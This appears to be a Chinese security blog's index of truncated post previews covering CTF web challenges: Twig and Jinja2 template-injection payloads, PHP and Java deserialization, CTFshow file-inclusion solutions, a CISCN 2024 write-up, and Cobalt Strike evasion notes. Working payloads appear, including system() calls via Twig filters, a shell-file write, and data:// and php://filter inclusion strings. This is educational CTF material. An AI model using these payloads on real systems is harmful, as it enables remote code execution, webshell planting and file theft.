PHP的SSTI-twig
容易出现在XFF和session中常用payload
12345678910111213141516171819202122 {{["id"]|map("system")|join(",") {{["id", 0]|sort("system")|join(",")}} {{["id"]|filter("system")|join(",")}} {{[0, 0]|reduce("system", "id")|join(",")}} {{{"<?php phpinfo();":"/var/www/html/shell.ph ...
端口占用解决方案
Windows如何查看端口是否占用,并结束端口进程一、查看端口是否占用方法1:使用命令提示符(Command Prompt)
123456打开命令提示符: 点击开始菜单,在搜索框中输入“cmd”。 在搜索结果中找到“命令提示符”,右键点击并选择“以管理员身份运行”。输入查看端口占用命令: 在命令提示符窗口中,输入netstat -ano命令并按下回车键。这将显示所有当前的网络连接、监听端口以及它们的进程ID(PID)。 如果要查看特定端口的占用情况,可以使用netstat -ano | findstr "端口号"命令,将“端口号”替换为你想查询的具体端口号。
二、结束占用端口的程序
找到占用端口的程序
如果你已经知道占用端口的程序的名称,可以直接在任务管理器或资源监视器中找到它。
如果不知道程序名称,可以使用命令提示符中的tasklist | findstr "PID"命令来查找,将“PID”替换为占用端口的进程的PID。
Linux关闭占用特定端口的进程1.找到进程 ID (PID):1lsof -i :<p ...
python的SSTI-jinjia2
判断是否存在1234{%if 条件%}result{%endif%}{%if not a%}yes{%endif%}如果输出yes,则代表有SSTI模板注入漏洞。
利用python模糊测试过滤1234567891011121314151617181920212223242526272829303132333435363738import requestsdef get_file_content(file_path, url): # 初始化一个空字典 dict_list = {} with open(file_path, 'r') as file: for line in file: clean_line = line.strip() if clean_line: payload = """SIAS{{{& ...
靶场反序列化复现
反序列化圣经1234567891011121314151617__construct()//当一个对象创建时被调用__destruct() //当一个对象销毁时被调用__toString() //当一个对象被当作一个字符串使用__sleep()//在对象在被序列化之前运行__wakeup()//将在反序列化之后立即被调用__get()//获得一个对象的成员变量,此处是指别的类__set()//用于将数据写入不可访问的属性__invoke()//这个函数当尝试将对象调用为函数时会触发__call()//当调用一个对象中的不存在的方法的时候就会执行这个函数
[MRCTF2020]Ezpop1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950<?php class Modifier { protected $var; public function append($value){ include($val ...
CTFSHOW入门-文件包含
web781234if(isset($_GET['file'])){ $file = $_GET['file']; include($file);}
尝试利用php伪协议中的data伪协议尝试查找flag文件
1?file=data://text/plain,<?php system('ls'); ?>
或者可以直接尝试利用过滤器直接处理flag.php
1?file=php://filter/convert.base64-encode/resource=flag.php
web7912345if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); include($file);}
由于添加了过滤,但又没完全过滤他这个写法是只是过滤了小写php相 ...
CS免杀知识
CS安装教程一、CobalStrike简介 Cobalt Strike(简称为CS)是一款基于java的渗透测试工具,专业的团队作战的渗透测试工具。CS使用了C/S架构,它分为客户端(Client)和服务端(Server),服务端只要一个,客户端可有多个,多人连接服务端后可协同测试,与其他人分享shell。
cs的主要功能是在已经取得攻击目标的控制权后,用于持久化、横向移动、流量隐藏以及数据窃取等操作。
当我们在目标主机上成功执行了 CS 的 payload(有效载荷/攻击模块/攻击方式)后,它会自动的创建一个 Beacon,也就是远程控制木马,然后通过与 C2 服务器建立连接,使攻击者能够远程控制被攻击主机并且获取所需信息。
二、安装地址https://github.com/k8gege/Aggressor/releases/tag/cs
我虚拟机装的是
windows装的是cs4.8
https://blog.csdn.net/m0_60571842/article/details/132920672
三、运行要求的环境因为cs是基于java的环境, ...
2024-CISCN-线上初赛-web方向题解
复现平台ctfshowhttps://ctf.show/challenges
sanic题目提示
1234题目描述:sanic能有什么问题呢?敏感目录/admin/src
读到/src
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455from sanic import Sanicfrom sanic.response import text, htmlfrom sanic_session import Sessionimport pydash# pydash==5.1.2class Pollute: def __init__(self): passapp = Sanic(__name__)app.static("/static/", "./static/")Session(app)@app.route('/', methods=['GET ...
Java序列化和反序列化
Java反序列化基础-01向drun1baby大佬学习
0x01序列化和反序列化1.什么是序列化和反序列化?Java序列化是指把Java对象转换为字节序列的过程;Java反序列化是指把字节序列恢复为Java对象的过程;
2.为什么要序列化?对象不只是存储在内存中,它还需要在传输网络中进行传输,并且保存起来之后下次再加载出来,这时候就需要序列化技术。Java的序列化技术就是把对象转换成一串由二进制字节组成的数组,然后将这二进制数据保存在磁盘或传输网络。而后需要用到这对象时,磁盘或者网络接收者可以通过反序列化得到此对象,达到对象持久化的目的。
3.几种创建的序列化和反序列化协议XML&SOAPJSONProtobuf
0x02ObjectOutputStream 与 ObjectInputStream类1.ObjectOutputStream类java.io.ObjectOutputStream 类,将Java对象的原始数据类型写出到文件,实现对象的持久存储。序列化操作一个对象要想序列化,必须满足两个条件:1.该类必须实现 java.io.Serializable 接口, Seri ...